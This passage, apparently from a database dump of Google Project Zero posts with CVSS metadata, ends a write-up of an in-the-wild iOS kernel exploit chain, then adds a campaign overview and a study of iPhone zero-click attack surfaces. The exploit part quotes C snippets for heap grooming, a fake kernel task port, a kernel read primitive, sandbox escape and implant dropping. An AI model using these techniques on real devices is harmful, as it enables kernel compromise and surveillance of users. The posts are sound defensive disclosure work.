\n\n\nthread_mtx_lock(thread);\n\nvoucher = thread->ith_voucher; // read the dangling pointer\n\n// which should now point in to an OOL desc\n\n// backing buffer\n\n \n\n\n/* if already cached, just return a ref */\n\nif (IPC_VOUCHER_NULL != voucher) {\n\nipc_voucher_reference(voucher);\n\nthread_mtx_unlock(thread);\n\n*voucherp = voucher;\n\nreturn KERN_SUCCESS;\n\n}\n\n...\n\n \nThe autogenerated MIG wrapper will then call convert_voucher_to_port on that returned (dangling) voucher pointer: \n \n \n\n\nRetCode = thread_get_mach_voucher(thr_act, In0P->which, &voucher);\n\nthread_deallocate(thr_act);\n\nif (RetCode != KERN_SUCCESS) {\n\nMIG_RETURN_ERROR(OutP, RetCode);\n\n}\n\n...\n\nOutP->voucher.name = (mach_port_t)convert_voucher_to_port(voucher);\n\n \nHere's convert_voucher_to_port: \n \n \n\n\nipc_port_t\n\nconvert_voucher_to_port(ipc_voucher_t voucher)\n\n{\n\nipc_port_t port, send;\n\n \n\n\nif (IV_NULL == voucher)\n\nreturn (IP_NULL);\n\n \n\n\n/* create a port if needed */\n\nport = voucher->iv_port;\n\nif (!IP_VALID(port)) {\n\nport = ipc_port_alloc_kernel();\n\nipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);\n\n...\n\n/* If we lose the race, deallocate and pick up the other guy's port */\n\nif (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) {\n\nipc_port_dealloc_kernel(port);\n\nport = voucher->iv_port;\n\n}\n\n}\n\n \n\n\nip_lock(port);\n\nsend = ipc_port_make_send_locked(port);\n\n...\n\nreturn (send);\n\n}\n\n \nThe ipc_voucher structure which is being processed here is in reality now backed by one of the out-of-line memory descriptor backing buffers they sent to the ports_a ports. Since they set all the fields apart from the reference count to 0 the iv_port field will be NULL. That means the kernel will allocate a new port (via ipc_port_alloc_kernel()) then write that ipc_port pointer into the voucher object. OSCompareAndSwap will set the voucher->iv_port field to port: \n \n \n\n\nif (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) { ...\n\n \nIf everything up until now has worked, this will have the effect of writing the voucher port's address into the out-of-line memory descriptor buffer. \n \nThey allocate another 0x1000 ports, again trying to ensure ownership of the whole page surrounding the neighbour and fake voucher ports: \n \n \n\n\nfor ( ll = 0; ll < 0x1000; ++ll ) {\n\nmach_port_allocate(mach_task_self(), 1, &discloser_after_ports[ll]);\n\n}\n\n** \n** \n\n\nLet's look diagrammatically at what's going on: [](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZDtQo9cL5ascXSYSv1XygCSosS-QroxadYuBc0w83THDNC2JTlFbffnMsg-k-k0znrVZxEOjKFd_LWpigKmIs1A6aFEhweun7VlY5tiO07zHHcHb4UEx-NHgEiHDX-NCmtZEa2IUc6wDi3DGsjrqzojeD-Msh9DS1H5X-cxAqbYgZ7ZyiojR0ImFp/s2048/vouchers%203%20-%20HI_RES.png>) They receive the out-of-line memory descriptors until they see one which has something that looks like a kernel pointer in it; they check that the iv_refs field is 0x101 (they set it to 0x100, and the creation of the new voucher port added an extra reference). If such a port is found they reallocate the out-of-line descriptor memory again, but this time they bump up the ipc_port pointer to point to the start of the next 16k page:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ4QTu4xjbpNIrik9g5Jxw_YZNuJED9ob8gf9zbzIQb7apEFDDXfyg16-llgJ1llEfzkhLkUFGPTrls8PcqEIMIuApQPuxuzJhxpJ3CIAaxIisJXOOv8uhnDg3TBH7HbzJJSB-YFor7PMS_RYPO6yg6vfXLf4lnFQtcLyPHvJq0VYyQ0S2I9DvBghc/s2048/vouchers%204%20-%20HI_RES.png>)\n\nThey destroy all the discloser_before and discloser_after ports then force a GC. The reason for moving the iv_port field up by 16k is because when the iv_port field was overwritten they leaked a reference to the fake voucher port, so that zone chunk wouldn't be collected (even if they also free'd the neighbour port, which they didn't do.) But now, the memory pointed to by the fake voucher's iv_port field is available to be reused by a different zone. \n \nAt this point they've got the two prerequisites for their kernel read-write primitive: a controllable pointer to an ipc_port, and knowledge of a kernel address where their spray may end up. From here on, they proceed as they did with their previous exploit chains.\n\n### Pipes\n\nThey build their fake pid_for_task kernel port in 0x800 4k pipe buffers. Since they know the iv_port pointer points to a 4k boundary they build the fake port structure in the lower half of the pipe buffer, and in the upper half at offset +0x800 they write the index of pipe fd to which this fake port was written, setting up the fake port to read from that address: \n \n\n\nvoid\n\nfill_buf_with_simple_kread_32_port(uint64_t buf,\n\nuint64_t kaddr_of_dangling_port,\n\nuint64_t read_target)\n\n{\n\nchar* fake_port = (char*)buf;\n\n*(uint32_t*)(buf + 0x00) = 0x80000002; // IO_ACTIVE | IKOT_TASK\n\n*(uint32_t*)(buf + 0x04) = 10; // io_refs\n\n*(uint32_t*)(buf + 0x68) = kaddr_of_dangling_port + 0x100;\n\n*(uint32_t*)(buf + 0xA0) = 10;\n\n \n\n\nchar* fake_task = buf+0x100;\n\n \n\n\n*(uint32_t*)(fake_task + 0x010) = 10;\n\n*(uint64_t*)(fake_task + 0x368) = read_target - 0x10;\n\n}\n\n** \n** \n\n\nfill_buf_with_simple_kread_32_port(buf,\n\ntarget_port_next_16k_page,\n\ntarget_port_next_16k_page + 0x800);\n\n \n\n\nmagic = 0x88880000;\n\n \n\n\nfor (int i = 0; i < 0x800; i++) {\n\n*(uint32_t*)&buf[2048] = i + magic;\n\nwrite(pipe_fds[2 * i + 1], buf, 0xfff);\n\n}\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFcRudpKXqsQCNLW5QhjirepC6ziXZ4bsV3VzaTnbnnx09L74mzsj_cboJHTxGQbCiIdhDKAcpbMgWBM6x0IXwk4LHEf52vQemZyXH2BARE7Y4-aAKOBaPunlfygqZUHRh3Sb6Hjou79GXNmkqtf8OzO8mYGM9NKzW7kyxXAm2o2w8V35zVjouzzOk/s3554/vouchers%20replaced%20with%20pipe%20-%20HI_RES.png>) They call thread_get_mach_voucher, which will return a send right to the fake task port in one of the pipe buffers, then they call pid_for_task, which will perform the kread32 primitive, reading the u32 value written at offset +0x800 in the replacer pipe buffer: \n\n\n \n\n\nthread_get_mach_voucher(sleeping_thread_mach_port,\n\n0,\n\n&discloser_mach_port);\n\nreplacer_pipe_value = 0;\n\npid_for_task(discloser_mach_port, &replacer_pipe_value);\n\nif ((replacer_pipe_index & 0xFFFF0000) == magic ) {\n\n...\n\n \nFrom the magic value they're able to determine the file descriptor which corresponds to the pipe buffer which replaced the port memory. They now have all the requirements for the simple kread32 primitive. \n \nThey use the kread32 to search in the vicinity of the originally disclosed fake voucher port address for an ipc_port structure with an ip_context value of 0x1337733100. This is the context value which they gave neighbour port right at the start. The search proceeds outwards from the disclosed port address; if they find it they read the field at +0x60 in the ipc_port, which is the ip_receiver field. \n \nThe receive right for this port is owned by this task, so the ipc_port's ip_receiver field will point to their task's struct ipc_space. They read the pointer at offset +0x28, which points to their task structure. They read the task structure's proc pointer then traverse the doubly-linked list of processes backwards until they find a value where the lower 21 bits match the offset of the allproc list head, which they read from the offsets object for this device they loaded at the start. Once that's found they can determine the KASLR slide by subtracting the unslid value of the allproc symbol from the runtime observed value. \n \nWith the KASLR slide they are able to read the kernel_task pointer and find the address of the kernel vm_map. This is all they require to build the standard fake kernel task in the pipe buffer, giving them kernel memory read/write. \n\n\n### Unsandboxing\n\nThey traverse the allproc linked list of processes looking for their own process and launchd. They temporarily assign themselves launchd's credential structures, thereby inheriting launchd's sandbox profile. They patch the platform policy sandbox profile bytecode in memory. They read the embedded implant from the __DATA:__file segment section, compute the CDHash and add the CDHash to the trustcache using the kernel arbitrary write. \n \nThey drop the implant payload binary in /tmp/updateserver and execute it via posix_spawn. \n \nThey mark the devices as compromised by setting the value of the kern.maxfilesperproc sysctl to 0x27ff. \n\n### Cleanup\n\nThey no longer need the fake kernel task port, so it's destroyed. The fake kernel task port had a reference count of 0x2000, so it won't be freed. They close all the pipes, and return. They ping an HTTP server to indicate successful compromise of another target.\n\n \n\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nIn-the-wild iOS Exploit Chain 5\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-6225", "CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:8D9092AAADD845D0E49147A5BA49EA02", "href": "https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-07T02:00:19", "description": "Posted by Ian Beer, Project Zero\n\n** \n** \n\n\nProject Zero\u2019s mission is to make 0-day hard. We often work with other companies to find and report security vulnerabilities, with the ultimate goal of advocating for structural security improvements in popular systems to help protect people everywhere. \n \n\n\nEarlier this year Google's Threat Analysis Group (TAG) discovered a small collection of hacked websites. The hacked sites were being used in indiscriminate watering hole attacks against their visitors, using iPhone 0-day. \n \n\n\nThere was no target discrimination; simply visiting the hacked site was enough for the exploit server to attack your device, and if it was successful, install a monitoring implant. We estimate that these sites receive thousands of visitors per week. \n \n\n\nTAG was able to collect five separate, complete and unique iPhone exploit chains, covering almost every version from iOS 10 through to the latest version of iOS 12. This indicated a group making a sustained effort to hack the users of iPhones in certain communities over a period of at least two years. \n \n\n\nI\u2019ll investigate what I assess to be the root causes of the vulnerabilities and discuss some insights we can gain into Apple's software development lifecycle. The root causes I highlight here are not novel and are often overlooked: we'll see cases of code which seems to have never worked, code that likely skipped QA or likely had little testing or review before being shipped to users.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF86ynaqIWCm6ZEzRSiLaRJJr1jyil0_YbOg4VF2p9qXibdtLXMlMzRtR8Gj_pQlFSD04XZxEWtnD4VjSA99UYoNsQEo8hXpdM2YtTqCTrZSmL8P-aNsJt2prUpsJanE-2vE3v9dNX4aVX6uvNsuVndeacuwy0J3y3kQTkIxHADZH4NQ5ljATq5O2J/s2850/ios_timeline.png>)\n\n \nWorking with TAG, we discovered exploits for a total of fourteen vulnerabilities across the five exploit chains: seven for the iPhone\u2019s web browser, five for the kernel and two separate sandbox escapes. Initial analysis indicated that at least one of the privilege escalation chains was still 0-day and unpatched at the time of discovery (CVE-2019-7287 & CVE-2019-7286). We reported these issues to Apple with a 7-day deadline on 1 Feb 2019, which resulted in the out-of-band release of iOS 12.1.4 on 7 Feb 2019. We also shared the complete details with Apple, which were [disclosed publicly on 7 Feb 2019](<https://support.apple.com/en-us/HT209520>). \n \n\n\nNow, after several months of careful analysis of almost every byte of every one of the exploit chains, I\u2019m ready to share these insights into the real-world workings of a campaign exploiting iPhones en masse. \n \n\n\nThis post will include:\n\n * detailed write-ups of all five privilege escalation exploit chains;\n\n * a teardown of the implant used, including a demo of the implant running on my own devices, talking to a reverse-engineered command and control server and demonstrating the capabilities of the implant to steal private data like iMessages, photos and GPS location in real-time, and\n\n * analysis by fellow team member Samuel Gro\u00df on the browser exploits used as initial entry points.\n\n \n\n\nLet\u2019s also keep in mind that this was a failure case for the attacker: for this one campaign that we\u2019ve seen, there are almost certainly others that are yet to be seen. \n \n\n\nReal users make risk decisions based on the public perception of the security of these devices. The reality remains that security protections will never eliminate the risk of attack if you're being targeted. To be targeted might mean simply being born in a certain geographic region or being part of a certain ethnic group. All that users can do is be conscious of the fact that mass exploitation still exists and behave accordingly; treating their mobile devices as both integral to their modern lives, yet also as devices which when compromised, can upload their every action into a database to potentially be used against them. \n \n\n\nI hope to guide the general discussion around exploitation away from a focus on the the [million dollar dissident](<https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/>) and towards discussion of the marginal cost for monitoring the n+1'th potential future dissident. I shan't get into a discussion of whether these exploits cost $1 million, $2 million, or $20 million. I will instead suggest that all of those price tags seem low for the capability to target and monitor the private activities of entire populations in real time. \n \n\n\nI recommend that these posts are read in the following order: \n\n\n 1. [iOS Exploit Chain #1](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>)\n\n 2. [iOS Exploit Chain #2](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>)\n\n 3. [iOS Exploit Chain #3](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html>)\n\n 4. [iOS Exploit Chain #4](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html>)\n\n 5. [iOS Exploit Chain #5](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>)\n\n 6. [JSC Exploits](<https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html>)\n\n 7. [Implant Teardown](<https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html>)\n\n \n\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nA very deep dive into iOS Exploit chains found in the wild\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-7286", "CVE-2019-7287", "CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:583848E2AA028400AD8E69515795E246", "href": "https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:22", "description": "Posted by Natalie Silvanovich, Project Zero\n\n** \n**\n\nWhile there have been several rumours and reports of fully remote vulnerabilities affecting the iPhone being used by attackers in the last couple of years, limited information is available about the technical details of these vulnerabilities, as well as the underlying attack surface they occur in. I investigated the remote, interaction-less attack surface of the iPhone, and found several serious vulnerabilities.\n\n** \n**\n\nVulnerabilities are considered \u2018remote\u2019 when the attacker does not require any physical or network proximity to the target to be able to use the vulnerability. Remote vulnerabilities are described as \u2018fully remote\u2019, \u2018interaction-less\u2019 or \u2018zero click\u2019 when they do not require any physical interaction from the target to be exploited, and work in real time. I focused on the attack surfaces of the iPhone that can be reached remotely, do not require any user interaction and immediately process input.\n\n** \n**\n\nThere are several attack surfaces of the iPhone that have these qualities, including SMS, MMS, VVM, Email and iMessage.\n\n## SMS\n\nSMS seemed like a good starting point, as I had looked at SMS on Android in the [past](<https://googleprojectzero.blogspot.com/2019/03/android-messaging-few-bugs-short-of.html>). Unlike Android, SMS messages are processed in native code by the iPhone, which increases the likelihood of memory corruption vulnerabilities. SMS Packet Data Units (PDUs) are parsed by the CommCenter binary using the method sms::Controller::parseRawBytes which creates an instance of class sms::Model containing details of the message. This instance is eventually processed by sms::Controller::processReceivedSms_sync which does additional processing and sends the message on to other processes that handle them. I reviewed these two methods, but did not find any vulnerabilities.\n\n** \n**\n\nI also noticed that CommCenter contained an SMS simulator that can be triggered via XPC. This tool processes SMS deliver PDUs as if they arrived over the network. The simulator was missing a library that likely exists on internal test devices, so I wrote a library that implements the needed functionality to make the simulator work. This tool is available [here](<https://github.com/googleprojectzero/iOS-messaging-tools/tree/master/SmsSimulator>). Fuzzing SMS with this tool did not uncover any vulnerabilities.\n\n## MMS\n\nMMS messages are also processed by CommCenter, and the bulk of the processing is performed in the method MmsOperation::decodeMessage. I reviewed this method using IDA, and also fuzzed it by writing an application that called into this method in iOS. There were no vulnerabilities discovered with either method.\n\n## Visual Voicemail\n\nWhile reviewing sms::Controller::processReceivedSms_sync, I noticed that this method forwards many specially formatted SMS messages on to other processes. One area that looked interesting was Visual Voicemail (VVM), which I had reviewed [previously](<https://googleprojectzero.blogspot.com/2019/03/android-messaging-few-bugs-short-of.html>) on Android. VVM is a feature that allows voicemail messages to be viewed in a visual format similar to how emails are displayed.\n\n** \n**\n\nVVM works by fetching voicemail messages from an IMAP server maintained by the device\u2019s carrier. The server URL and credentials for this server are provided to the device by the carrier over SMS. The iPhone uses a different format for VVM SMS messages than the publicly documented [format](<http://www.omtp.org/OMTP_VVM_Specification_v1_3_Final.pdf>), so I determined the contents of an incoming VVM SMS by putting a breakpoint in CommCenter where SMS PDUs are received. The following is an example of an incoming VVM message.\n\n** \n**\n\nSTATE?state=Active;server=vvm.att.com;port=143;pw=asdf;name=5556667777@att.com \n \n--- \n \n** \n**\n\nI tried sending this message on an Android device that had been modified to send raw PDUs, and found that the logs showed an additional query had been made to the server. I tried changing the server to a server I controlled, and after several attempts, I was able to send a message that changed a target device\u2019s VVM server, with the following limitations:\n\n** \n**\n\n * VVM must be configured (a greeting message recorded) on the device\n\n * The PID field of the SMS must be set to the VVM value for the target device\u2019s carrier (this can be easily determined if you have a SIM from that carrier, but is different for each carrier)\n\n * Some carriers block VVM IMAP requests to external servers, in which case this won\u2019t work for that carrier remotely. It\u2019s possible that an attacker could get around this using a base station in proximity of the target device, but I didn\u2019t look into this attack. \n\n** \n**\n\nThis was enough for VVM IMAP to be a viable attack surface for most carriers, and I thought it was reasonably likely to contain bugs, as VVM uses the same IMAP library as Email on iOS. IMAP servers are usually hardened against attacks from untrusted email clients, because it is common for a malicious client to attack the server in an attempt to access other users\u2019 emails. It is far less common, however, for a client to connect to a malicious server, as users need to enter these by hand, and typically only enter servers they trust. This means that the server to client attack surface is likely less well-tested, as it is not a realistic attack surface from the perspective of Email. VVM changes this, as it allows a device to be connected to a malicious IMAP server without user interaction. I wondered if the IMAP library had been adequately reviewed when its attack surface was drastically changed by the VVM implementation.\n\n** \n**\n\nI looked at the IMAP library in IDA, but didn\u2019t find any bugs, so I set up fuzzing. I wrote a fake IMAP [server](<https://github.com/googleprojectzero/iOS-messaging-tools/tree/master/imapiness>) that returned malformed responses to every request, and used the SMS simulator from the section above to constantly send VVM SMS messages, triggering the device to query the server. This uncovered one vulnerability, [CVE-2019-8613](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1801>), in the implementation. This bug is a use-after-free of an NSString that occurs due to incorrect handling of the NAMESPACE IMAP command. When an IMAP server sets up a connection, it first sends a LIST command to the client to get the mailbox separator string, and then sends a NAMESPACE command to get the mailbox prefix. In the iOS IMAP implementation, the separator string is freed if the server encounters an error, but the code that calls the NAMESPACE command does not check whether the command has succeeded, so it continues even if the separator has been freed.\n\n## Email\n\nLooking at the IMAP implementation, I noticed several code paths in MIME that are not used by VVM, but are used by the email client when processing messages. One of these had an obvious and unusual vulnerability in it.\n\n** \n**\n\nThe method [MFMimePart _contents:toOffset:resultOffset:downloadIfNecessary:asHTML:isComplete:] processes incoming MIME messages, and sends them to specific decoders based on the MIME type. Unfortunately, the implementation did this by appending the MIME type string from an incoming message to the string \u2018decode\u2019 and calling the resulting method. This meant that an unintended selector could be called, leading to memory corruption.\n\n** \n**\n\nI found this vulnerability in version 11.3.1 of iOS, but it was clearly unexploitable in iOS 12 due to changes to the functionality of the unintended selectors that could be called. These changes did not appear to be security related. This issue could still cause a crash though, and was resolved as CVE-2019-8626.\n\n** \n**\n\nWhile email is a potential remote attack surface for the iPhone, it is unclear how serious it is. To start, some users install third-party clients instead of using the native email client, and some email providers also filter incoming messages and remove malformed MIME components that are needed to reach a vulnerability. While the above bug worked on Gmail signed in on the native email client, it is not clear how common this configuration is, or whether provider filtering could be a problem in reaching similar bugs.\n\n## iMessage\n\niMessage is the native messaging client on iOS and Mac devices. It supports sending and receiving messages with a variety of formatting options, and also supports extensions, which allow custom message types to be sent and received by the device. Extensions can be written by both Apple and third parties. Samuel Gro\u00df and I reviewed iMessage and its extensions that are installed by default on the iPhone.\n\n** \n**\n\nTo start off the project, Samuel wrote [tools](<https://github.com/googleprojectzero/iOS-messaging-tools/tree/master/iMessage>) that can send and dump iMessage messages on a Mac. They work by hooking code in iMessage that sends or receives messages with [Frida](<https://frida.re/>), and either writing the message to the console in the case of dumping, or replacing it with a different message in the case of sending. The following is a sample message dumped with these tools.\n\n** \n**\n\nto: mailto:TARGET@gmail.com\n\nfrom: tel:+15556667777\n\n{\n\ngid = \"FAA29682-27A6-498D-8170-CC92F2077441\";\n\ngv = 8;\n\np = (\n\n\"tel:+15556667777\",\n\n\"mailto:TARGET@gmail.com\"\n\n);\n\npv = 0;\n\nr = \"68DF1E20-9ABB-4413-B86B-02E6E6EB9DCF\";\n\nt = \"Hello World\";\n\nv = 1;\n\n} \n \n--- \n \n** \n**\n\nIt is a binary plist containing several fields. The following is a table of interesting fields.\n\n** \n**\n\nt\n\n| \n\nPlain text message content \n \n---|--- \n \nx\n\n| \n\nXML message content \n \nbid\n\n| \n\n\u201cBalloon identifier\u201d for plugin \n \nbp\n\n| \n\nPlugin data \n \nati\n\n| \n\nAttribution info \n \np\n\n| \n\nParticipants \n \n** \n**\n\nWe noticed that several of these fields contain binary data that is deserialized with the NSKeyedUnarchiver class. (Fields can also be optionally compressed with gzip. To get around this, we wrote a program that calls [NSData _FTOptionallyDecompressData] to decompress them on the Mac command line.) Specifically, the bp field is deserialized in SpringBoard for the purpose of notifications, which makes deserialization a fully remote attack surface. SpringBoard also does not have any sandboxing on iOS. This field is also deserialized by the MobileSMS process, but this requires one click. The ati field is also decoded without user interaction in the imagent process, though it is more restricted in what it can decode than the bp field.\n\n** \n**\n\nNSKeyedArchiver serialization encodes NSObject instances in the plist format. Below is an example portion of a serialized object that includes an instance of NSURL.\n\n** \n**\n\n<dict>\n\n<key>$class</key>\n\n<dict>\n\n<key>CF$UID</key>\n\n<integer>7</integer>\n\n</dict>\n\n<key>NS.base</key>\n\n<dict>\n\n<key>CF$UID</key>\n\n<integer>0</integer>\n\n</dict>\n\n<key>NS.relative</key>\n\n<dict>\n\n<key>CF$UID</key>\n\n<integer>6</integer>\n\n</dict>\n\n</dict>\n\n<string>http://www.google.com</string>\n\n<dict>\n\n<key>$classes</key>\n\n<array>\n\n<string>NSURL</string>\n\n<string>NSObject</string>\n\n</array>\n\n<key>$classname</key>\n\n<string>NSURL</string>\n\n</dict> \n \n--- \n \n** \n**\n\nThe fields NS.base and NS.relative are objects that will be used to construct the NSURL instance. The NS.relative field references the string \u2018http://www.google.com\u2019, which represents the URL location. The dictionary below that, with the $classes and $classname fields, describes the class of the instance, which is referenced by the $class field of the first dictionary. When deserializing this instance, the decoder will call [NSURL initWithCoder:] which contains code that will deserialize the NS.base and NS.relative fields and use them to initialize the NSURL instance.\n\n** \n**\n\nNSKeyedArchiver serialization can serialize or deserialize any Objective-C class that implements initWithCoder:, but it has a security feature called NSSecureCoding that allows developers to limit what is decoded. First, classes that implement initWithCoder: must also implement requiresSecureCoding for deserialization to be enabled when NSSecureCoding is enabled. This prevents deserialization code from being accidentally exposed by developers in secure contexts. Secondly, NSSecureCoding requires that all deserialization calls provide a list of allowed classes that can be deserialized, and other classes are not allowed. It\u2019s important to note though, that the list of allowed classes is not a complete list of what initWithCoder: methods can be called during serialization. For example, a pseudo-code representation of [NSURL initWithCoder:] with some omissions is as follows.\n\n** \n**\n\n[NSURL initWithCoder:](NSURL *u, id decoder){\n\nNSData* book = [decoder decodeObjectOfClass:[NSData class] forKey:@\"NS.minimalBookmarkData\"];\n\nif(book)\n\nreturn [URLByResolvingBookmarkData:data];\n\nNSString* base = [decoder decodeObjectOfClass:[NSString class] forKey:@\"NS.base\"];\n\nNSString* relative = [decoder decodeObjectOfClass:[NSString class] forKey:@\"NS.relative\"];\n\nreturn [NSURL initWithString:base relativeToURL:relative];\n\n} \n \n--- \n \n** \n**\n\nFor a URL that is not a bookmark, the method will need to deserialize an instance of class NSString for the NS.relative and NS.base fields, and the NSString class will be allowed in that deserialization. Likewise, if the serialized data contains the NS.minimalBookmarkData field, it will deserialize an instance of NSData. So while the class limits on deserialization limit what class will be returned, they do not limit the attack surface to just that class. They still reduce the attack surface somewhat though.\n\n** \n**\n\nThere are several methods that can be used to create an NSKeyedUnarchiver instance or deserialize an object, and not all of them enable NSSecureCoding by default. The following methods enable it by default:\n\n** \n**\n\ninitForReadingFromData:\n\nunarchivedObjectOfClasses:fromData:error: \n\n** \n**\n\nThe following methods do not:\n\n** \n**\n\ninitWithData:\n\nunarchiveObjectWithData:error\n\ninitForReadingWithData:\n\n** \n**\n\nThe names of these methods do not make it especially clear whether NSSecureCoding is enabled, especially the very similarly named initForReadingFromData: and initForReadingWithData: . Our first attempt at finding bugs was looking for a place in iMessage that performed deserialization without NSSecureCoding. The hope was to be able to use this to deserialize a WebKit instance, and find a way to get it to load a webpage containing a WebKit vulnerability, as there are many such vulnerabilities found on a regular basis, and their exploitability is well understood. Unfortunately, we did not find any deserialization without NSSecureCoding. \n\n** \n**\n\nNext, we looked at extensions. Extensions are a fairly new feature, so we hoped to find a bug in how extensions process the serialized data in the bp field. This processing can sometimes be performed without user interaction. Extensions can support previews, in which case SpringBoard will call previewSummary in the extension without user interaction. Some versions of iOS also process the entire input by calling initWithPluginPayload: without user interaction, but it is inconsistent based on version. This occured on 12.1.2 but not later versions while testing.\n\n** \n**\n\nWe found one bug in the Digital Touch extension, [CVE-2019-8624](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1828>). This extension allows users to send messages containing drawings and other visual elements. Extensions are allowed to use custom encoding so long as they signal to SpringBoard not to attempt to decode the bp field, and Digital Touch uses protobuf to decode its payload. It decodes several byte arrays, and in one case incorrectly checks the length of a byte array before copying it, leading to an out-of-bounds read. This issue is very likely not exploitable, but the path to the bug is interesting.\n\n** \n**\n\nThe Link Presentation extension displays link previews when a link is sent in a message. It works by loading the link in WebKit on the sender device and generating a preview text and image that is then sent to the destination device. We looked at this extension in great detail, looking for a way to spawn a WebKit instance on the receiving device, but did not find any. The WebKit processing always appears to be done by the sender.\n\n** \n**\n\nWe then decided to look for bugs in the initWithCoder: methods of the classes that are allowed to be deserialized by SpringBoard when generating a message preview. Ian Beer has [found](<https://bugs.chromium.org/p/project-zero/issues/detail_ezt?id=1172>) [several](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1168>) [issues](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1175>) of this type allowing privilege escalation in the past. The classes permitted when SpringBoard decodes the bp field are: NSDictionary, NSString, NSData, NSNumber, NSURL, NSUUID and NSValue. Subclasses of these classes with any level of inheritance are also allowed, as is always the case with NSKeyedUnarchiver deserialization. We reviewed the initWithCoder: implementations of these classes and their subclasses that are imported by SpringBoard. This analysis resulted in three vulnerabilities. \n\n** \n**\n\n[CVE-2019-8663](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1883>) is a vulnerability in deserializing the SGBigUTF8String class, which is a subclass of NSString. The initWithCoder: implementation of this class deserializes a byte array that is then treated as a UTF-8 string with a null terminator, even if it does not have one. This can lead to a string that contains out-of-bounds memory being created.\n\n** \n**\n\n[CVE-2019-8661](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1856>) is a vulnerability in [NSURL initWithCoder:] that affects Mac only. When a URL is deserialized, usually an instance of class NSString is decoded, but it is also possible for an NSData instance to be deserialized, which is then treated as a bookmark. On Mac only, it is possible for this bookmark to be in \u2018alis\u2019 [alias format](<https://developer.apple.com/documentation/coreservices/carbon_core/alias_manager>), which was deprecated in 2012. This format is processed by a Framework called CarbonCore, which processes the alias file using many safe and unsafe string handling functions. The vulnerability is caused by heap corruption due to an unsafe call to strcat. It is important to note that this bookmarking functionality is never legitimately used by iMessage. It is present because NSURL deserialization is universal across the system, and so the initWithCoder implementation has to support all input possibilities, even ones that will never be encountered in normal use on a specific attack surface.\n\n** \n**\n\n[CVE-2019-8646](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1858>) is a vulnerability in deserializing a subclass of NSData, _NSDataFileBackedFuture. This class allows a buffer containing the contents of a file to be created, but it does not load the file until the data is accessed. Deserialization is implemented so that the buffer length is deserialized from the input data, as is the filename, and the implementation never checks that the deserialized length is consistent with the length of the file that is eventually loaded. This violates a basic guarantee that the NSData class makes, that the length property will be the correct length of the bytes property. This can cause a variety of problems, including memory corruption, that will be explored in a future blog post. 